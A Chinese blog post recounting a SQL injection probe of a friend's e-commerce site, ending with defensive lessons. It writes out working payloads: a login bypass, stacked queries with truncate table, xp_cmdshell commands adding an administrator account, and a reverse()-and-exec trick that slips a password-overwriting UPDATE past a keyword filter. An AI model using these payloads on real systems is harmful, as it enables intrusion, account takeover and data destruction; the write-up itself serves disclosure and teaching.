电子商务网站SQL注入项目实战一例

故事A段：发现整站SQL对外输出：

 

有个朋友的网站，因为是外包项目，深圳某公司开发的，某天我帮他检测了一下网站相关状况。

我查看了页面源代码，发现了个惊人的事情，居然整站打印SQL到Html里，着实吓我一跳：

PS：2年前秋色园系列文章有分享一文是整站SQL打印用于分析网站性能，不过也只是本地优化调试，而服务器上也采用某特殊条件才打印。

因而把这赤祼祼的对外公开的SQL问题反映了过去，以后算是取消了。 

故事B段：错误异常打印了SQL，诱人： 

 

过了些许天，我又抽空看了看：

原始路径为：http://www.xxx.com/s-l----333.html，我随意加了个引号：

 

直接打印SQL？这不是引诱人犯罪么？好吧，当时被诱了一下，花了小半天折腾了一下。

 

故事C段：发现有简单的SQL关键字过滤： 

 

随意加了个“and“条件，发现有过滤一些关键字： 

  

而后屡次检测，发现过滤了：and select,update,delete等关键字。

 

故事D段：发现能够执行自定义语句，但SQL帐号彷佛没有SA权限或者是关闭了xp_cmdshell服务： 

因而我组了一条truncate table xxx，固然，这是个不存在的表名： 

http: // www.xxxx.com/s-l-82900-6'%20%20or%201=1;truncate%20table%20abc;-- 

 

试了下，执行完成，没报啥提示，太恐怖了。

既然能够执行自定义语句，那执行下提权语句看看：

http: // www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net user test 1234
http: // www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net localgroup administrators test /add

 

发现没啥提示，可是帐号不起效果，因此估计sql的帐号没有sa权限能够调用xp_cmdshell，另外这里，因为--符号被用来分隔字符串，因此不起做用。

故事E段：发现登录有明显的SQL漏洞： 

 

过了点时间，我就不折腾了，我打算注册个帐号看看其它状况。 

到了登录页，发现注册还要绑定手机号，我就不注册了，因而在登录里随手弄了一个常见的a' or 1=1--

居然报密码错误，吓我一跳，说明用户名注入了，只是密码那关错误。 

 

故事F段：发现验证码居然在Cookie里： 

 

经过拦截请求信息，发现更奇葩的事：

 

验证码居然直接放在Cookie里，这。。。

故事G段：破解用户密码： 

 

既然用户名能够注入，为啥密码还报错误？

经过错误的语法，看了一下对方的SQL语句，猜出了基本的代码逻辑：

 

根据用户名查出了帐号信息，取出的数据的密码再和密码对比。

 

构造注入语句，发现密码为md5存储： 

 

既然能够注入，这里就能够执行语句了，因而，使用普通的语句弄个帐号登录试试。
一开始我构造了条件：
username=a '   or password= ' 123456 ' --&password=123456&verifycode=5020 
考虑到用弱密码123456的不少，我就试了下，发现没搞头，原本还想写个爆破弱口令的帐号。
后来想一想，这密码，通常都是加密的，因此我要知道对方的加密方式。
经过屡次构造相似下面的语句：
username=a '   or len(password)=16--&password=123456&verifycode=5020
最终肯定了为md5加密存储。
因而把123456 md5一下变成：
username=a '   or password= '49ba59abbe56e057 ' --&password=123456&verifycode=5020

 

没想到，来了个如下坑爹的提示：

 

试了下不少个帐号，都是这种状况，这提示太坑爹，忽悠了我。

PS：实际上是帐号经过了，直接拿返回的Cookie就能够进用户的，不过我被忽悠了，觉得不可用。

返回的Cookie，实际也是加密的，因此，这种方式，看不到手机号，因此无法直接简单的登录。

再构造SQL注入语句，建立属于本身的帐号和密码： 

因而，我想经过构造更新语句，把某个帐号的手机号和密码都更新一下，而后再我登录进去。
因此，我就必须执行相似于：update xxx  set username= ' 13811114444 ',password= ' 888888 '  where uid= 10003
因为过滤掉update，因此直接来是不行的，原本打还算编码成16进制折腾，发现转16进制麻烦，也懒的开vs折腾。
因而我想到了一个简单的方式，把语句反过来写，再用reverse函数把语句转过来执行。

 

最终就成了如下函数：

username= 13430330585 ' ;declare @A varchar(200);set @A=reverse( ''' 58803303431 ''=emanresu erehw  ''9d4d9c1ac9814f08 ''=drowssaP tes xxx tadpu ' );exec(@A);--&password=88888888&verifycode=2222

 

执行后，发现都是返回“当前帐号已冻结，请联系客户”这句大忽悠的话。。。

害的我试了N个帐号，最后拿其中一个登录了，才发现是正常的。

 

后来告诉了对方有SQL注入漏洞，最后反馈说用SQL工具检测正常，无语。

再后来就示例告诉了对方，修正了这个漏洞后，我就写文分享了。 

 

 

总结：

1：验证码怎么能够放Cookie里？

2：SQL语句怎么能够随意打印给别人看？

3：SQL注入检测怎么能光靠工具？ 

4：防SQL注入怎么能靠几个简单的关键字过滤？

 

补充截图：